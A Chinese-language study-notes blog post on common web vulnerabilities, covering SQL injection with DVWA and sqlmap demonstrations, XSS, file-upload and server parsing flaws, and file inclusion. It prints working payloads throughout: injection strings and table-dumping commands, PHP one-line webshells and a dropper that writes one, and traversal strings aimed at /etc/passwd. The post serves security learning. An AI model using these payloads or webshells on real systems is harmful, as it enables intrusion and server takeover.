【WEB学习】常见WEB漏洞学习

01-SQL注入漏洞
SQL注入的产生,SQL注入是由WEB页面端向数据库端提交查询请求,但因提交查询请求时,代码过滤不严谨,在WEB网站进行查询时,可以插入恶意的SQL代码,注入到数据库,产生恶意的查询,所以产生了SQL注入漏洞。
科普:
SQL注入漏洞的分类
1.数字型
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
2.字符型
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr=‘admin’ and 1=1 ’ ’
闭合单引号chr=‘admin’ union select 1,2,3,4 and ‘1’=‘1 ====> chr=‘admin’(闭合前面单引号) union select 1,2,3,4 and ‘1’=‘1’
3.搜索型
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’。
组合出来的sql注入语句为:select * from news where search like ‘%测试 %’ and ‘%1%’=’%1%’
测试%’ union select 1,2,3,4 and ‘%’=’
SQL提交请求分类
1.POST注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
2.Get注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
3.Cookie注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
4.Http头注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

实例1-测试一数字型注入
环境DVWA
判断注入
在这里插入图片描述
1 ’ and ‘1’='1 返回正常
在这里插入图片描述
1 ’ and ‘1’='2 返回错误
这基本上可以确定一个注入点了,那么如何利用这个注入点,可以使用 手工注入,也可以使用工具 如 SQLmap
这里演示一下手工,和使用SQLmap注入的方法,
手工注入

在这里插入图片描述
order BY语句才字段数
1 'or 1=1 order by 2#返回正常
在这里插入图片描述
1 'or 1=1 order by 3#返回错误

则存在2位

1 'union select 1,2#
在这里插入图片描述
确定显示位
查询当前数据库,1′ union select 1,database() #
在这里插入图片描述
确定后这个注入点后,进行相关查询,可获得数据库内容,如账号密码,后面的自己想~
SQLmap注入利用
命令:sqlmap.py -u “URL”
判断是否为注入点
判断是注入点,返回结果在这里插入图片描述
命令:sqlmap.py -u “URL” --dbs 查看所有表
在这里插入图片描述
如要查看dvwa数据表内容,则命令 sqlmap.py -u “URL” -D dvwa --tables

获取admin表的columns
sqlmap.py -u “URL” -D test1 -T admin --columns
//假设有字段3个:id,username,password
//获取id,username,password字段的内容
sqlmap.py -u “URL” -D test1 -T admin -C “id,usrename,password”

02-前端漏洞-XSS
Xss漏洞的产生于概述

随着WEB应用越来越广泛,越来越复杂,很多人对WEB安全也越来越重视,XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
XSS漏洞类型
反射型-非持久性
顾名思义,放射形,即输入后反射出输入的内容,不经过数据库,一次性攻击,利用需要用户访问存在反射型的xss站点,当用户访问时,代码被浏览器执行,从而达到了攻击的效果
存储型-持久性
即将注入的xss代码插入的服务器端,一直存在

  1. body标签绕过:
  2. 双写绕过:<sc
  3. img标签绕过:
    本地效果演示
    反射型
    在这里插入图片描述
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user $html .= '
Hello ' . $_GET[ 'name' ] . '
'; } ?>

可以看见,没有什么过滤~~

直接解析了这句JavaScript代码

存储型在这里插入图片描述
在这里插入图片描述
任何的输入点,显示点都有可能存在XSS漏洞,所以要细心!!!
03-文件解析漏洞-文件上传
在这里插入图片描述
文件上传漏洞概念
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。即便很容易被攻击者利用漏洞,但是在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。
漏洞成因
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 windows 服务器并且以 asp 作为服务器端的动态网站环境,那么在你的网站的上传功能处,就一定不能让用户上传 asp 类型的文件,否则他上传一个 webshell,你服务器上的文件就可以被他任意更改了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

copy 普通图片.png/b+一句话木马.php 1.php
Flash策略文件:crossdomain.xml
一句话木马:

<?php eval($_POST[a]);?> <?php @eval(@$_REQUEST['a']);?>

0x01 归纳总结
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
修复方案

(二)apache解析漏洞
漏洞原理
  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
(三)nginx解析漏洞
 Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg.php
www.xxxx.com/UploadFiles/image/1.jpg/ \0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
(四)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
PS: a.aspx.a;.a.aspx.jpg…jpg
04-文件包含漏洞

文件包含漏洞,即通过函数调用包含文件时,没有对文件名进行有效的过滤,被导致包含了WEB目录以外的文件,导致文件中包含恶意代码,被调用了进来。

PHP文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content

目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。

几种经典的测试方法:
?file=…/…/…/…/…/etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
在这里插入图片描述
http://1.1.1.1/../../../../dir/file.txt
(通过多个…/可以让目录回到根目录中然后再进入目标目录)
在这里插入图片描述
http://note.youdao.com/yws/res/245/9FE2A4134FE843AB9AA28368E60D7C89

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kilm0r.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值